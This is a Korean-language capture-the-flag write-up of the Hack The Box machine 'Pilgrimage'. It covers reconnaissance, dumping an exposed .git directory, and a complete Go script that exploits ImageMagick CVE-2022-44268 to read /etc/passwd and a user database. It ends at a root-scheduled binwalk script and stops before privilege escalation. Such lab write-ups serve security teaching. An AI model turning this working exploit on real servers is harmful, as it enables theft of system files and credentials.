Post

HTB Pilgrimage

HTB 시즌2의 두번째 머신으로 EASY 난이도로 출제됐다. Pilgrimage 머신을 해결하는 과정을 기록한다.

1. Info

1.1. Port Scan

평범하다. 22/tcp, 80/tcp가 오픈되어있으며, 브라우저를 통해 웹 서비스 접근 시 pilgrimage.htb로 접근 가능하다.

1
2
3
4
5
6
7
8
9
10
11
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-26 10:24 KST
Nmap scan report for pilgrimage.htb (10.10.11.219)
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.54 seconds

1.2. Service Check(WEB)

웹 서비스 기능은 간단하다 특정 이미지를 업로드하면 어떠한 과정을 거쳐 이미지를 축소시켜 업로드하고 다운로드할 수 있다.

사실 이부분부터 뭔가 냄새가나는 CVE가 생각이 났다.

1.3. ffuf

ffuf를 통해 스캔하니 .git/ 경로가 노출되고 있는것을 확인할 수 있다. 아래에서 git-dumper를 통해 소스코드를 덤프하도록한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://pilgrimage.htb/FUZZ
 :: Wordlist         : FUZZ: /Users/junsoo.jo/Desktop/Tools/WordList/dangerousFile.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 153
________________________________________________

.git                    [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 249ms]
.git/index              [Status: 200, Size: 3768, Words: 22, Lines: 16, Duration: 249ms]
.git/HEAD               [Status: 200, Size: 23, Words: 2, Lines: 2, Duration: 249ms]
.git/logs/HEAD          [Status: 200, Size: 195, Words: 13, Lines: 2, Duration: 249ms]
.git/config             [Status: 200, Size: 92, Words: 9, Lines: 6, Duration: 249ms]
.git/logs/refs          [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 249ms]

2. git-dumper

위에서 확인된것처럼 .git경로에 접근이 가능하여 object접근해 소스코드를 덤프한다. 이를 자동화 해놓은 도구로 git-dumper를 사용한다.

1
% git-dumper http://pilgrimage.htb/.git ./dump

덤프한 소스코드를 보면 위에서 냄새가 난다는 CVE가 확실하다고 말해준다. 예상했던 CVE는 ImageMagick Arbitrary Local File Read (CVE-2022-44268)였다.

1
2
3
4
5
6
7
8
9
10
# 불필요한 css파일이나 font파일 제거함
.
├── assets
│   ├── bulletproof.php
├── dashboard.php
├── index.php
├── login.php
├── logout.php
├── magick
├── register.php

덤프된 index.php에서도 같은 경로의 magick 사용하여 이미지를 리사이즈하는 코드를 확인할 수 있다.

1
2
// index.php (line 27)
exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);

3. CVE-2022-44268

내 velog에서도 따로 준비해놓고 만나게된다면 바로 테스트하려고 미리 만들어둔 juice.png를 업로드하고 리사이즈된 이미지를 다운받았다.

1
2
% wget http://pilgrimage.htb/shrunk/649950ea5fff9.png
% identify -verbose 649950ea5fff9.png

-verbose 옵션으로 자세한 정보를 출력하면 이미지 파일의 여러 정보들이 나오는데 ImageMagick 취약점이 제대로 동작하여 Raw profile에 /etc/passwd의 내용이 Hex로 담겨있다.

대충 확인해보기위해 첫줄만 복사해서 확인해보니 /etc/passwd의 내용이 맞다.

1
2
% python3 -c 'print(bytes.fromhex("726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d"))'
b'root:x:0:0:root:/root:/bin/bash\ndaem'

3.1. 자동화

일단 현재 상황은 .git에 접근이 가능하여 git-dumper를 통해 소스코드를 확보한 상황이며, 백앤드에서 ImageMagick의 취약한 버전을 사용중으로 시스템 파일을 읽을 수 있다.

만들고 업로드하고 다운받고 확인하고 디코딩하는 과정을 자동화했다…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
package main

import (
	"bytes"
	"encoding/hex"
	"flag"
	"fmt"
	"io"
	"log"
	"mime/multipart"
	"net/http"
	"os"
	"os/exec"
	"strings"
)

func main() {
	flag.Usage = func() {
		fmt.Printf("Usage of %s:\n\n", os.Args[0])
		flag.PrintDefaults()
	}

	payload := flag.String("p", "", "Enter the path to the file to read")
	flag.Parse()

	if flag.NFlag() != 1 {
		flag.Usage()
		return
	}

	cmd := exec.Command("pngcrush", "-s", "-text", "a", "profile", *payload, "default.png")
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr

	err := cmd.Run()
	if err != nil {
		log.Fatal(err)
	}

	magickImagePath := uploadImage()
	filePath := "pwned.png"
	_ = downloadFile(magickImagePath, filePath)

	resultHex, _ := execIdentify()
	decodedBytes, _ := hex.DecodeString(resultHex)
	fmt.Println(string(decodedBytes))
}

func uploadImage() string {
	imagePath := "pngout.png"
	url := "http://pilgrimage.htb/"

	bodyBuf := &bytes.Buffer{}
	bodyWriter := multipart.NewWriter(bodyBuf)

	fileWriter, err := bodyWriter.CreateFormFile("toConvert", imagePath)
	if err != nil {
		fmt.Println("Failed to create file:", err)
		return ""
	}

	file, err := os.Open(imagePath)
	if err != nil {
		fmt.Println("Failed to open file:", err)
		return ""
	}
	defer file.Close()

	_, err = io.Copy(fileWriter, file)
	if err != nil {
		fmt.Println("Failed to copy file:", err)
		return ""
	}

	contentType := bodyWriter.FormDataContentType()
	bodyWriter.Close()

	client := &http.Client{
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse
		},
	}

	req, err := http.NewRequest("POST", url, bodyBuf)
	if err != nil {
		fmt.Println("Failed to create request:", err)
		return ""
	}
	req.Header.Set("Content-Type", contentType)
	req.Header.Set("Cookie", "PHPSESSID=98vevk2c1dkbd44v73ni2q9ptp")

	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("Failed to send request:", err)
		return ""
	}
	defer resp.Body.Close()

	location := resp.Header.Get("Location")
	path := strings.Split(strings.Split(location, "&")[0], "=")[1]
	return path
}

func downloadFile(url string, filePath string) error {
	resp, err := http.Get(url)
	if err != nil {
		return err
	}
	defer resp.Body.Close()

	out, err := os.Create(filePath)
	if err != nil {
		return err
	}
	defer out.Close()

	_, err = io.Copy(out, resp.Body)
	return err
}

func execIdentify() (string, error) {
	cmd := exec.Command("identify", "-verbose", "pwned.png")

	stdout, err := cmd.Output()
	if err != nil {
		return "", err
	}

	output := string(stdout)
	rawProfileIndex := strings.Index(output, "Raw profile type:")
	lines := strings.Split(output[rawProfileIndex:], "\n")

	var resultHex strings.Builder
	skipStep := 3
	for _, line := range lines {
		if skipStep > 0 {
			skipStep--
			continue
		}
		if len(line) == 0 {
			break
		}
		resultHex.WriteString(line)
	}

	return resultHex.String(), nil
}

/etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
% go run main.go -p /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

/var/db/pilgrimage

해당 파일은 덤프한 소스코드에서 볼 수 있는 로컬 데이터베이스인 sqlite파일이고 바이너리이지만 뭔가 볼수있는 string값들이 있을것 같아 접근하였는데 users 테이블의 정보를 확인할 수 있었고 그 안에 emily라는 유저의 계정 패스워드가 평문으로 저장된것을 확인할 수 있다.

1
2
3
4
% go run main.go -p /var/db/pilgrimage
��e��8|�StableimagesimagesCREATE TABLE images (url TEXT PRIMARY KEY NOT NULL, original TEXT NOT NULL, username TEXT NOT NULL)+?indexsqlite_autoindex_images_1imagesf�+tableusersusersCREATE TABLE users (username TEXT PRIMARY KEY NOT NULL, password TEXT NOT NULL))=indexsqlite_
��-emily안알려줌
��      emily

4. Shell Access(emily)

위에서 탈취한 emily 정보는 웹서비스 로그인 정보이다. 그치만 ssh 접근도 가능하다… EASY 문제라 쉽게 나온것같다.

4.1. linpeas

linpeas 결과 중 아래 이미지 경로에서 malwarescan.sh 이라는 쉘 스크립트가 root 권한으로 스케쥴되고있는것을 확인할 수 있었다.

해당 스크립트는 inotifywait를 통해 /var/www/pilgrimage.htb/shrunk/ 경로를 모니터링하면서 해당 경로에 신규로 생성되는 파일을 binwalk로 검사해 blacklist에 부합되는 파일일 경우 삭제하는 스크립트이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
	filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
	binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
		if [[ "$binout" == *"$banned"* ]]; then
			/usr/bin/rm "$filename"
			break
		fi
	done
done
This post is licensed under CC BY 4.0 by the author.